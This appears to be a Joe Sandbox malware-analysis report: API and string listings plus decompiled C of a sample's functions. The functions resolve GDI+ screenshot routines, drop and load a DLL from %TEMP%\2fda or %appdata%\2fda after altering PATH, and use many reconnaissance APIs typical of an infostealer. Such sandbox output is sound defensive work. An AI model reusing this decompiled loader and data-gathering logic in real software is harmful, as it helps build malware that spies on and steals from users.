GetProcAddress.KERNEL32(77D30000,RtlComputeCrc32,ntdll.dll,76EC0000,ShellExecuteExW,shell32.dll,76910000,GetKeyboardLayoutList,76910000,wvsprintfA,76910000,EnumDisplayDevicesW,user32.dll,00000000,CryptReleaseContext,00000000), ref: 00405AC0

Strings

GetDriveTypeA, xrefs: 004058C0
CheckTokenMembership, xrefs: 00405980
GetTimeZoneInformation, xrefs: 00405878
RegOpenKeyExW, xrefs: 00405938
RegCreateKeyExW, xrefs: 00405902
CryptGetHashParam, xrefs: 004059FE
SetCurrentDirectoryW, xrefs: 0040576A
GetComputerNameW, xrefs: 00405692
GetUserNameW, xrefs: 004058F0
GetCurrentDirectoryW, xrefs: 00405746
CryptHashData, xrefs: 004059EC
RemoveDirectoryW, xrefs: 0040588A
RegQueryValueExW, xrefs: 00405914
CreateMutexA, xrefs: 00405710
CryptDestroyHash, xrefs: 00405A10
CryptAcquireContextA, xrefs: 004059C8
ReadFile, xrefs: 004056EC
FindClose, xrefs: 004057D6
GetFileAttributesW, xrefs: 004056FE
kernel32.dll, xrefs: 00405674
CloseHandle, xrefs: 004056DA
AllocateAndInitializeSid, xrefs: 0040594A
shell32.dll, xrefs: 00405A82
CreateToolhelp32Snapshot, xrefs: 004057FA
FindNextFileW, xrefs: 0040578E
RegEnumKeyW, xrefs: 004059A4
user32.dll, xrefs: 00405A34
GlobalMemoryStatus, xrefs: 004056A4
CopyFileW, xrefs: 004057C4
GetLocaleInfoA, xrefs: 00405854
GetLocalTime, xrefs: 00405866
RegOpenKeyW, xrefs: 00405992
ReleaseMutex, xrefs: 00405722
Process32FirstW, xrefs: 0040580C
GetKeyboardLayoutList, xrefs: 00405A6D
ExpandEnvironmentStringsW, xrefs: 00405680
DeleteFileW, xrefs: 0040589C
GetLastError, xrefs: 00405734
RegCloseKey, xrefs: 00405926
CreateProcessAsUserW, xrefs: 0040596E
GetFileSize, xrefs: 004056C8
FindFirstFileW, xrefs: 0040577C
CreateProcessW, xrefs: 004058D2
GlobalMemoryStatusEx, xrefs: 004057E8
LocalFree, xrefs: 004057A0
SetDllDirectoryW, xrefs: 00405842
ntdll.dll, xrefs: 00405AA6
GetLogicalDriveStringsA, xrefs: 004058AE
SetEnvironmentVariableW, xrefs: 00405758
CreateFileW, xrefs: 004056B6
CryptCreateHash, xrefs: 004059DA
CryptReleaseContext, xrefs: 00405A22
GetTickCount, xrefs: 004057B2
LookupAccountSidA, xrefs: 0040595C
wvsprintfA, xrefs: 00405A58
RegEnumValueW, xrefs: 004059B6
Process32NextW, xrefs: 0040581E
RtlComputeCrc32, xrefs: 00405AB5
advapi32.dll, xrefs: 004058E4
ShellExecuteExW, xrefs: 00405A91
GetModuleFileNameW, xrefs: 00405830
EnumDisplayDevicesW, xrefs: 00405A43

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AllocateAndInitializeSid$CheckTokenMembership$CloseHandle$CopyFileW$CreateFileW$CreateMutexA$CreateProcessAsUserW$CreateProcessW$CreateToolhelp32Snapshot$CryptAcquireContextA$CryptCreateHash$CryptDestroyHash$CryptGetHashParam$CryptHashData$CryptReleaseContext$DeleteFileW$EnumDisplayDevicesW$ExpandEnvironmentStringsW$FindClose$FindFirstFileW$FindNextFileW$GetComputerNameW$GetCurrentDirectoryW$GetDriveTypeA$GetFileAttributesW$GetFileSize$GetKeyboardLayoutList$GetLastError$GetLocalTime$GetLocaleInfoA$GetLogicalDriveStringsA$GetModuleFileNameW$GetTickCount$GetTimeZoneInformation$GetUserNameW$GlobalMemoryStatus$GlobalMemoryStatusEx$LocalFree$LookupAccountSidA$Process32FirstW$Process32NextW$ReadFile$RegCloseKey$RegCreateKeyExW$RegEnumKeyW$RegEnumValueW$RegOpenKeyExW$RegOpenKeyW$RegQueryValueExW$ReleaseMutex$RemoveDirectoryW$RtlComputeCrc32$SetCurrentDirectoryW$SetDllDirectoryW$SetEnvironmentVariableW$ShellExecuteExW$advapi32.dll$kernel32.dll$ntdll.dll$shell32.dll$user32.dll$wvsprintfA
API String ID: 2238633743-3531362093
Opcode ID: 9c16fe897d6944d34ea071398afe47ccc9a4bd0c9aaead70f6b76cd0dcfefb22
Instruction ID: b4e9e9acb65dceb8197331e62ecd6ac44c6462922570a5848b60e957845f71d1
Opcode Fuzzy Hash: 9c16fe897d6944d34ea071398afe47ccc9a4bd0c9aaead70f6b76cd0dcfefb22
Instruction Fuzzy Hash: 6EB15BB1A90710AFD700BFA5DC86A6A37A8FB4A704351593BB550FF2E5D6789C008F9C

Uniqueness

Uniqueness Score: 100.00%

Function 00417236, Relevance: 57.8, APIs: 20, Strings: 13, Instructions: 64
libraryloaderUNIQUE

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00417236() {
				void* _t1;
				_Unknown_base(*)()* _t21;

				 *0x41cb2c =  *0x41cb2c - 1;
				if( *0x41cb2c < 0) {
					 *0x41cb04 = GetProcAddress(LoadLibraryA("crtdll.dll"), "wcscmp");
					 *0x41cb08 = GetProcAddress(LoadLibraryA("Gdiplus.dll"), "GdiplusStartup");
					 *0x41cb0c = GetProcAddress(LoadLibraryA("Gdiplus.dll"), "GdiplusShutdown");
					 *0x41cb10 = GetProcAddress(LoadLibraryA("Gdiplus.dll"), "GdipCreateBitmapFromHBITMAP");
					 *0x41cb14 = GetProcAddress(LoadLibraryA("Gdiplus.dll"), "GdipGetImageEncodersSize");
					 *0x41cb18 = GetProcAddress(LoadLibraryA("Gdiplus.dll"), "GdipGetImageEncoders");
					 *0x41cb1c = GetProcAddress(LoadLibraryA("Gdiplus.dll"), "GdipDisposeImage");
					 *0x41cb20 = GetProcAddress(LoadLibraryA("Gdiplus.dll"), "GdipSaveImageToStream");
					 *0x41cb24 = GetProcAddress(LoadLibraryA("ole32.dll"), "CreateStreamOnHGlobal");
					_t21 = GetProcAddress(LoadLibraryA("ole32.dll"), "GetHGlobalFromStream");
					 *0x41cb28 = _t21;
					return _t21;
				}
				return _t1;
			}

0x00417238
0x0041723f
0x0041725a
0x00417274
0x0041728e
0x004172a8
0x004172c2
0x004172dc
0x004172f6
0x00417310
0x0041732a
0x0041733f
0x00417344
0x00000000
0x00417344
0x00417349

APIs

LoadLibraryA.KERNEL32(crtdll.dll), ref: 0041724F
GetProcAddress.KERNEL32(00000000,crtdll.dll,wcscmp), ref: 00417255
LoadLibraryA.KERNEL32(Gdiplus.dll), ref: 00417269
GetProcAddress.KERNEL32(00000000,Gdiplus.dll,GdiplusStartup,00000000,crtdll.dll,wcscmp), ref: 0041726F
LoadLibraryA.KERNEL32(Gdiplus.dll), ref: 00417283
GetProcAddress.KERNEL32(00000000,Gdiplus.dll,GdiplusShutdown,00000000,Gdiplus.dll,GdiplusStartup,00000000,crtdll.dll,wcscmp), ref: 00417289
LoadLibraryA.KERNEL32(Gdiplus.dll), ref: 0041729D
GetProcAddress.KERNEL32(00000000,Gdiplus.dll,GdipCreateBitmapFromHBITMAP,00000000,Gdiplus.dll,GdiplusShutdown,00000000,Gdiplus.dll,GdiplusStartup,00000000,crtdll.dll,wcscmp), ref: 004172A3
LoadLibraryA.KERNEL32(Gdiplus.dll), ref: 004172B7
GetProcAddress.KERNEL32(00000000,Gdiplus.dll,GdipGetImageEncodersSize,00000000,Gdiplus.dll,GdipCreateBitmapFromHBITMAP,00000000,Gdiplus.dll,GdiplusShutdown,00000000,Gdiplus.dll,GdiplusStartup,00000000,crtdll.dll,wcscmp), ref: 004172BD
LoadLibraryA.KERNEL32(Gdiplus.dll), ref: 004172D1
GetProcAddress.KERNEL32(00000000,Gdiplus.dll,GdipGetImageEncoders,00000000,Gdiplus.dll,GdipGetImageEncodersSize,00000000,Gdiplus.dll,GdipCreateBitmapFromHBITMAP,00000000,Gdiplus.dll,GdiplusShutdown,00000000,Gdiplus.dll,GdiplusStartup,00000000), ref: 004172D7
LoadLibraryA.KERNEL32(Gdiplus.dll), ref: 004172EB
GetProcAddress.KERNEL32(00000000,Gdiplus.dll,GdipDisposeImage,00000000,Gdiplus.dll,GdipGetImageEncoders,00000000,Gdiplus.dll,GdipGetImageEncodersSize,00000000,Gdiplus.dll,GdipCreateBitmapFromHBITMAP,00000000,Gdiplus.dll,GdiplusShutdown,00000000), ref: 004172F1
LoadLibraryA.KERNEL32(Gdiplus.dll), ref: 00417305
GetProcAddress.KERNEL32(00000000,Gdiplus.dll,GdipSaveImageToStream,00000000,Gdiplus.dll,GdipDisposeImage,00000000,Gdiplus.dll,GdipGetImageEncoders,00000000,Gdiplus.dll,GdipGetImageEncodersSize,00000000,Gdiplus.dll,GdipCreateBitmapFromHBITMAP,00000000), ref: 0041730B
LoadLibraryA.KERNEL32(ole32.dll), ref: 0041731F
GetProcAddress.KERNEL32(00000000,ole32.dll,CreateStreamOnHGlobal,00000000,Gdiplus.dll,GdipSaveImageToStream,00000000,Gdiplus.dll,GdipDisposeImage,00000000,Gdiplus.dll,GdipGetImageEncoders,00000000,Gdiplus.dll,GdipGetImageEncodersSize,00000000), ref: 00417325
LoadLibraryA.KERNEL32(ole32.dll), ref: 00417339
GetProcAddress.KERNEL32(00000000,ole32.dll,GetHGlobalFromStream,00000000,ole32.dll,CreateStreamOnHGlobal,00000000,Gdiplus.dll,GdipSaveImageToStream,00000000,Gdiplus.dll,GdipDisposeImage,00000000,Gdiplus.dll,GdipGetImageEncoders,00000000), ref: 0041733F

Strings

GdipSaveImageToStream, xrefs: 004172FB
wcscmp, xrefs: 00417245
GdipCreateBitmapFromHBITMAP, xrefs: 00417293
GdiplusShutdown, xrefs: 00417279
GdiplusStartup, xrefs: 0041725F
GdipGetImageEncoders, xrefs: 004172C7
CreateStreamOnHGlobal, xrefs: 00417315
ole32.dll, xrefs: 0041731A, 00417334
GdipGetImageEncodersSize, xrefs: 004172AD
Gdiplus.dll, xrefs: 00417264, 0041727E, 00417298, 004172B2, 004172CC, 004172E6, 00417300
crtdll.dll, xrefs: 0041724A
GetHGlobalFromStream, xrefs: 0041732F
GdipDisposeImage, xrefs: 004172E1

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: CreateStreamOnHGlobal$GdipCreateBitmapFromHBITMAP$GdipDisposeImage$GdipGetImageEncoders$GdipGetImageEncodersSize$GdipSaveImageToStream$Gdiplus.dll$GdiplusShutdown$GdiplusStartup$GetHGlobalFromStream$crtdll.dll$ole32.dll$wcscmp
API String ID: 2574300362-2815069134
Opcode ID: 80e80092c2076a79d6044825ea11b4e02df27ad8f2b01962558a278dbd5e8883
Instruction ID: a98f21beb08f5e7a8693b8482d73447dd3fc81d530b02daa868018d23397fb24
Opcode Fuzzy Hash: 80e80092c2076a79d6044825ea11b4e02df27ad8f2b01962558a278dbd5e8883
Instruction Fuzzy Hash: 2011FEF06D8304B9C60077F2FC47A9A2A797685709321453BBE10F20E2C57C6881979D

Uniqueness

Uniqueness Score: 100.00%

Function 0040965C, Relevance: 33.5, APIs: 16, Strings: 3, Instructions: 234
libraryloaderUNIQUE

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 74%

			E0040965C(intOrPtr* __eax, void* __ebx, void* __edx, void* __esi) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v117;
				void* _t18;
				void* _t34;
				intOrPtr* _t37;
				intOrPtr* _t42;
				intOrPtr* _t55;
				intOrPtr* _t60;
				intOrPtr* _t65;
				intOrPtr* _t70;
				intOrPtr* _t75;
				intOrPtr* _t80;
				intOrPtr* _t85;
				intOrPtr* _t90;
				intOrPtr* _t95;
				intOrPtr* _t100;
				intOrPtr* _t105;
				intOrPtr* _t110;
				intOrPtr* _t115;
				intOrPtr* _t132;
				intOrPtr* _t134;
				intOrPtr _t144;
				intOrPtr _t153;
				intOrPtr _t156;

				 *__eax =  *__eax + __eax;
				_t18 = __eax +  *__eax;
				 *_t18 =  *_t18 + _t18;
				asm("das");
				 *_t18 =  *_t18 + _t18;
				_t1 =  &_v117;
				 *_t1 = _v117 + __edx;
				_t156 =  *_t1;
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(__ebx);
				_v8 = _t18;
				E00403980(_v8);
				_push(_t153);
				_push(0x409963);
				_push( *[fs:eax]);
				 *[fs:eax] = _t153;
				 *0x41b0d8 = 0;
				E004062FC(L"%TEMP%\\2fda\\",  &_v12, _t156);
				E00403C18(0x41ca5c, _v12);
				CreateDirectoryW(E00403D98( *0x41ca5c), 0);
				E004094E0( *0x41ca5c, 0x41ca58, _v8, 0x41ca5c, _t156);
				_t132 =  *0x41b3c4; // 0x41c7ac
				E00403E14( &_v16,  *_t132,  *0x41ca5c, _t156);
				_t34 = E0040776C(_v16, 0x41ca58,  *_t132);
				_t157 = _t34;
				if(_t34 == 0) {
					E004062FC(L"%appdata%\\2fda\\",  &_v20, _t157);
					E00403C18(0x41ca5c, _v20);
					CreateDirectoryW(E00403D98( *0x41ca5c), 0);
					E004094E0( *0x41ca5c, 0x41ca58, _v8, 0x41ca5c, _t157);
				}
				_t37 =  *0x41b3ac; // 0x41c6ac
				 *((intOrPtr*)( *_t37))(L"PATH", E00403D98( *0x41ca5c));
				_t42 =  *0x41b320; // 0x41c6b0
				 *((intOrPtr*)( *_t42))(E00403D98( *0x41ca5c));
				_t134 =  *0x41b3c4; // 0x41c7ac
				E00403E14( &_v24,  *_t134,  *0x41ca5c, _t157);
				 *0x41ca58 = LoadLibraryExW(E00403D98(_v24), 0, 8);
				if( *0x41ca58 != 0) {
					_t55 =  *0x41b37c; // 0x41c994
					 *0x41ca20 = GetProcAddress( *0x41ca58, E00403990( *_t55));
					_t60 =  *0x41b42c; // 0x41c998
					 *0x41ca24 = GetProcAddress( *0x41ca58, E00403990( *_t60));
					_t65 =  *0x41b14c; // 0x41c99c
					 *0x41ca28 = GetProcAddress( *0x41ca58, E00403990( *_t65));
					_t70 =  *0x41b214; // 0x41c9a0
					 *0x41ca2c = GetProcAddress( *0x41ca58, E00403990( *_t70));
					_t75 =  *0x41b418; // 0x41c9a4
					 *0x41ca30 = GetProcAddress( *0x41ca58, E00403990( *_t75));
					_t80 =  *0x41b2a4; // 0x41c9a8
					 *0x41ca34 = GetProcAddress( *0x41ca58, E00403990( *_t80));
					_t85 =  *0x41b328; // 0x41c9ac
					 *0x41ca38 = GetProcAddress( *0x41ca58, E00403990( *_t85));
					_t90 =  *0x41b318; // 0x41c7d8
					 *0x41ca3c = GetProcAddress( *0x41ca58, E00403990( *_t90));
					_t95 =  *0x41b2bc; // 0x41c7dc
					 *0x41ca40 = GetProcAddress( *0x41ca58, E00403990( *_t95));
					_t100 =  *0x41b408; // 0x41c7e0
					 *0x41ca44 = GetProcAddress( *0x41ca58, E00403990( *_t100));
					_t105 =  *0x41b3b8; // 0x41c7e4
					 *0x41ca48 = GetProcAddress( *0x41ca58, E00403990( *_t105));
					_t110 =  *0x41b2f0; // 0x41c7e8
					 *0x41ca4c = GetProcAddress( *0x41ca58, E00403990( *_t110));
					_t115 =  *0x41b48c; // 0x41c7ec
					 *0x41ca50 = GetProcAddress( *0x41ca58, E00403990( *_t115));
					if( *0x41ca20 != 0 &&  *0x41ca24 != 0 &&  *0x41ca28 != 0 &&  *0x41ca2c != 0 &&  *0x41ca30 != 0 &&  *0x41ca34 != 0 &&  *0x41ca38 != 0 &&  *0x41ca3c != 0 &&  *0x41ca40 != 0 &&  *0x41ca44 != 0 &&  *0x41ca48 != 0 &&  *0x41ca4c != 0 &&  *0x41ca50 != 0) {
						 *0x41b0d8 = 1;
					}
				}
				_pop(_t144);
				 *[fs:eax] = _t144;
				_push(E0040996A);
				E00403BF4( &_v24, 4);
				return E004034E4( &_v8);
			}

0x0040965e
0x00409660
0x00409662
0x00409664
0x00409665
0x00409667
0x00409667
0x00409667
0x0040966d
0x0040966e
0x0040966f
0x00409670
0x00409671
0x00409672
0x00409674
0x0040967a
0x0040968b
0x0040968c
0x00409691
0x00409694
0x00409697
0x004096a6
0x004096b0
0x004096bf
0x004096c9
0x004096ce
0x004096db
0x004096e3
0x004096e8
0x004096ea
0x004096f4
0x004096fe
0x0040970d
0x00409717
0x00409717
0x00409729
0x00409730
0x0040973a
0x00409741
0x00409747
0x00409754
0x00409767
0x0040976c
0x00409772
0x00409787
0x0040978c
0x004097a1
0x004097a6
0x004097bb
0x004097c0
0x004097d5
0x004097da
0x004097ef
0x004097f4
0x00409809
0x0040980e
0x00409823
0x00409828
0x0040983d
0x00409842
0x00409857
0x0040985c
0x00409871
0x00409876
0x0040988b
0x00409890
0x004098a5
0x004098aa
0x004098bf
0x004098cb
0x00409939
0x00409939
0x004098cb
0x00409942
0x00409945
0x00409948
0x00409955
0x00409962

APIs

Part of subcall function 00403C18: 77EE4513.OLEAUT32(?,?,00406F3F,?,?,?,?,00406D2D,00000000,00406E52,?,?,?,00000006,00000000,00000000), ref: 00403BEA
Part of subcall function 00403C18: 77EE7790.OLEAUT32(?,00406C70,00000002,00406BF5,?,00406D40,00000000,00406E52,?,?,?,00000006,00000000,00000000,?,0041874E), ref: 00403C2E

CreateDirectoryW.KERNEL32(00000000,00000000,00000000,00409963,?,?,?,00000000,00000000,00000000,00000000,00000000,?,004188E6,?,?), ref: 004096BF
CreateDirectoryW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00409963,?,?,?,00000000,00000000,00000000,00000000,00000000,?,004188E6), ref: 0040970D
LoadLibraryExW.KERNEL32(00000000,00000000,00000008,?,?,?,00000000,00000000,00000000,00000000,00000000,?,004188E6,?,?,?), ref: 00409762
GetProcAddress.KERNEL32(00000000,00000000,00000000,00000000,00000008,?,?,?,00000000,00000000,00000000,00000000,00000000,?,004188E6,?), ref: 00409782
GetProcAddress.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000008,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 0040979C
GetProcAddress.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000008,?,?,?,00000000,00000000,00000000,00000000), ref: 004097B6
GetProcAddress.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000008,?,?,?,00000000,00000000), ref: 004097D0
GetProcAddress.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000008), ref: 004097EA
GetProcAddress.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000008), ref: 00409804
GetProcAddress.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040981E
GetProcAddress.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00409838
GetProcAddress.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00409852
GetProcAddress.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040986C
GetProcAddress.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00409886
GetProcAddress.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004098A0
GetProcAddress.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004098BA

Part of subcall function 00403BF4: 77EE4513.OLEAUT32(?,?,80000002,00406F1E,00406F26), ref: 00403C07

Strings

PATH, xrefs: 00409724
%appdata%\2fda\, xrefs: 004096EF
%TEMP%\2fda\, xrefs: 004096A1

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: AddressProc$CreateDirectoryE4513$E7790LibraryLoad
String ID: %TEMP%\2fda\$%appdata%\2fda\$PATH
API String ID: 1987173358-1556614757
Opcode ID: b5dcdb7e52fd3fcc23447ad34608d2366c8fd07ab999dde96ea889b83d15cb0c
Instruction ID: 26d77c896aabed61a2775ccb06ba61d1ee422efe4d6d96ca95dbfc380ed6e43d
Opcode Fuzzy Hash: b5dcdb7e52fd3fcc23447ad34608d2366c8fd07ab999dde96ea889b83d15cb0c
Instruction Fuzzy Hash: DA91D9B06402049FD712EF69D885B9A37E8BF4A349F00847AF404EB7A6C778AD44CB5D

Uniqueness

Uniqueness Score: 100.00%

Function 00409664, Relevance: 33.5, APIs: 16, Strings: 3, Instructions: 230
libraryloaderUNIQUE

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 73%

			E00409664(char __eax, void* __ebx, void* __edx, void* __esi) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v117;
				void* _t33;
				intOrPtr* _t36;
				intOrPtr* _t41;
				intOrPtr* _t54;
				intOrPtr* _t59;
				intOrPtr* _t64;
				intOrPtr* _t69;
				intOrPtr* _t74;
				intOrPtr* _t79;
				intOrPtr* _t84;
				intOrPtr* _t89;
				intOrPtr* _t94;
				intOrPtr* _t99;
				intOrPtr* _t104;
				intOrPtr* _t109;
				intOrPtr* _t114;
				intOrPtr* _t131;
				intOrPtr* _t133;
				intOrPtr _t143;
				intOrPtr _t152;
				intOrPtr _t153;

				asm("das");
				 *((intOrPtr*)(__eax)) =  *((intOrPtr*)(__eax)) + __eax;
				_t1 =  &_v117;
				 *_t1 = _v117 + __edx;
				_t153 =  *_t1;
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(__ebx);
				_v8 = __eax;
				E00403980(_v8);
				_push(_t152);
				_push(0x409963);
				_push( *[fs:eax]);
				 *[fs:eax] = _t152;
				 *0x41b0d8 = 0;
				E004062FC(L"%TEMP%\\2fda\\",  &_v12, _t153);
				E00403C18(0x41ca5c, _v12);
				CreateDirectoryW(E00403D98( *0x41ca5c), 0);
				E004094E0( *0x41ca5c, 0x41ca58, _v8, 0x41ca5c, _t153);
				_t131 =  *0x41b3c4; // 0x41c7ac
				E00403E14( &_v16,  *_t131,  *0x41ca5c, _t153);
				_t33 = E0040776C(_v16, 0x41ca58,  *_t131);
				_t154 = _t33;
				if(_t33 == 0) {
					E004062FC(L"%appdata%\\2fda\\",  &_v20, _t154);
					E00403C18(0x41ca5c, _v20);
					CreateDirectoryW(E00403D98( *0x41ca5c), 0);
					E004094E0( *0x41ca5c, 0x41ca58, _v8, 0x41ca5c, _t154);
				}
				_t36 =  *0x41b3ac; // 0x41c6ac
				 *((intOrPtr*)( *_t36))(L"PATH", E00403D98( *0x41ca5c));
				_t41 =  *0x41b320; // 0x41c6b0
				 *((intOrPtr*)( *_t41))(E00403D98( *0x41ca5c));
				_t133 =  *0x41b3c4; // 0x41c7ac
				E00403E14( &_v24,  *_t133,  *0x41ca5c, _t154);
				 *0x41ca58 = LoadLibraryExW(E00403D98(_v24), 0, 8);
				if( *0x41ca58 != 0) {
					_t54 =  *0x41b37c; // 0x41c994
					 *0x41ca20 = GetProcAddress( *0x41ca58, E00403990( *_t54));
					_t59 =  *0x41b42c; // 0x41c998
					 *0x41ca24 = GetProcAddress( *0x41ca58, E00403990( *_t59));
					_t64 =  *0x41b14c; // 0x41c99c
					 *0x41ca28 = GetProcAddress( *0x41ca58, E00403990( *_t64));
					_t69 =  *0x41b214; // 0x41c9a0
					 *0x41ca2c = GetProcAddress( *0x41ca58, E00403990( *_t69));
					_t74 =  *0x41b418; // 0x41c9a4
					 *0x41ca30 = GetProcAddress( *0x41ca58, E00403990( *_t74));
					_t79 =  *0x41b2a4; // 0x41c9a8
					 *0x41ca34 = GetProcAddress( *0x41ca58, E00403990( *_t79));
					_t84 =  *0x41b328; // 0x41c9ac
					 *0x41ca38 = GetProcAddress( *0x41ca58, E00403990( *_t84));
					_t89 =  *0x41b318; // 0x41c7d8
					 *0x41ca3c = GetProcAddress( *0x41ca58, E00403990( *_t89));
					_t94 =  *0x41b2bc; // 0x41c7dc
					 *0x41ca40 = GetProcAddress( *0x41ca58, E00403990( *_t94));
					_t99 =  *0x41b408; // 0x41c7e0
					 *0x41ca44 = GetProcAddress( *0x41ca58, E00403990( *_t99));
					_t104 =  *0x41b3b8; // 0x41c7e4
					 *0x41ca48 = GetProcAddress( *0x41ca58, E00403990( *_t104));
					_t109 =  *0x41b2f0; // 0x41c7e8
					 *0x41ca4c = GetProcAddress( *0x41ca58, E00403990( *_t109));
					_t114 =  *0x41b48c; // 0x41c7ec
					 *0x41ca50 = GetProcAddress( *0x41ca58, E00403990( *_t114));
					if( *0x41ca20 != 0 &&  *0x41ca24 != 0 &&  *0x41ca28 != 0 &&  *0x41ca2c != 0 &&  *0x41ca30 != 0 &&  *0x41ca34 != 0 &&  *0x41ca38 != 0 &&  *0x41ca3c != 0 &&  *0x41ca40 != 0 &&  *0x41ca44 != 0 &&  *0x41ca48 != 0 &&  *0x41ca4c != 0 &&  *0x41ca50 != 0) {
						 *0x41b0d8 = 1;
					}
				}
				_pop(_t143);
				 *[fs:eax] = _t143;
				_push(E0040996A);
				E00403BF4( &_v24, 4);
				return E004034E4( &_v8);
			}

0x00409664
0x00409665
0x00409667
0x00409667
0x00409667
0x0040966d
0x0040966e
0x0040966f
0x00409670
0x00409671
0x00409672
0x00409674
0x0040967a
0x0040968b
0x0040968c
0x00409691
0x00409694
0x00409697
0x004096a6
0x004096b0
0x004096bf
0x004096c9
0x004096ce
0x004096db
0x004096e3
0x004096e8
0x004096ea
0x004096f4
0x004096fe
0x0040970d
0x00409717
0x00409717
0x00409729
0x00409730
0x0040973a
0x00409741
0x00409747
0x00409754
0x00409767
0x0040976c
0x00409772
0x00409787
0x0040978c
0x004097a1
0x004097a6
0x004097bb
0x004097c0
0x004097d5
0x004097da
0x004097ef
0x004097f4
0x00409809
0x0040980e
0x00409823
0x00409828
0x0040983d
0x00409842
0x00409857
0x0040985c
0x00409871
0x00409876
0x0040988b
0x00409890
0x004098a5
0x004098aa
0x004098bf
0x004098cb
0x00409939
0x00409939
0x004098cb
0x00409942
0x00409945
0x00409948
0x00409955
0x00409962

APIs

Part of subcall function 00403C18: 77EE4513.OLEAUT32(?,?,00406F3F,?,?,?,?,00406D2D,00000000,00406E52,?,?,?,00000006,00000000,00000000), ref: 00403BEA
Part of subcall function 00403C18: 77EE7790.OLEAUT32(?,00406C70,00000002,00406BF5,?,00406D40,00000000,00406E52,?,?,?,00000006,00000000,00000000,?,0041874E), ref: 00403C2E

CreateDirectoryW.KERNEL32(00000000,00000000,00000000,00409963,?,?,?,00000000,00000000,00000000,00000000,00000000,?,004188E6,?,?), ref: 004096BF
CreateDirectoryW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00409963,?,?,?,00000000,00000000,00000000,00000000,00000000,?,004188E6), ref: 0040970D
LoadLibraryExW.KERNEL32(00000000,00000000,00000008,?,?,?,00000000,00000000,00000000,00000000,00000000,?,004188E6,?,?,?), ref: 00409762
GetProcAddress.KERNEL32(00000000,00000000,00000000,00000000,00000008,?,?,?,00000000,00000000,00000000,00000000,00000000,?,004188E6,?), ref: 00409782
GetProcAddress.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000008,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 0040979C
GetProcAddress.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000008,?,?,?,00000000,00000000,00000000,00000000), ref: 004097B6
GetProcAddress.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000008,?,?,?,00000000,00000000), ref: 004097D0
GetProcAddress.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000008), ref: 004097EA
GetProcAddress.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000008), ref: 00409804
GetProcAddress.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040981E
GetProcAddress.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00409838
GetProcAddress.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00409852
GetProcAddress.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040986C
GetProcAddress.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00409886
GetProcAddress.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004098A0
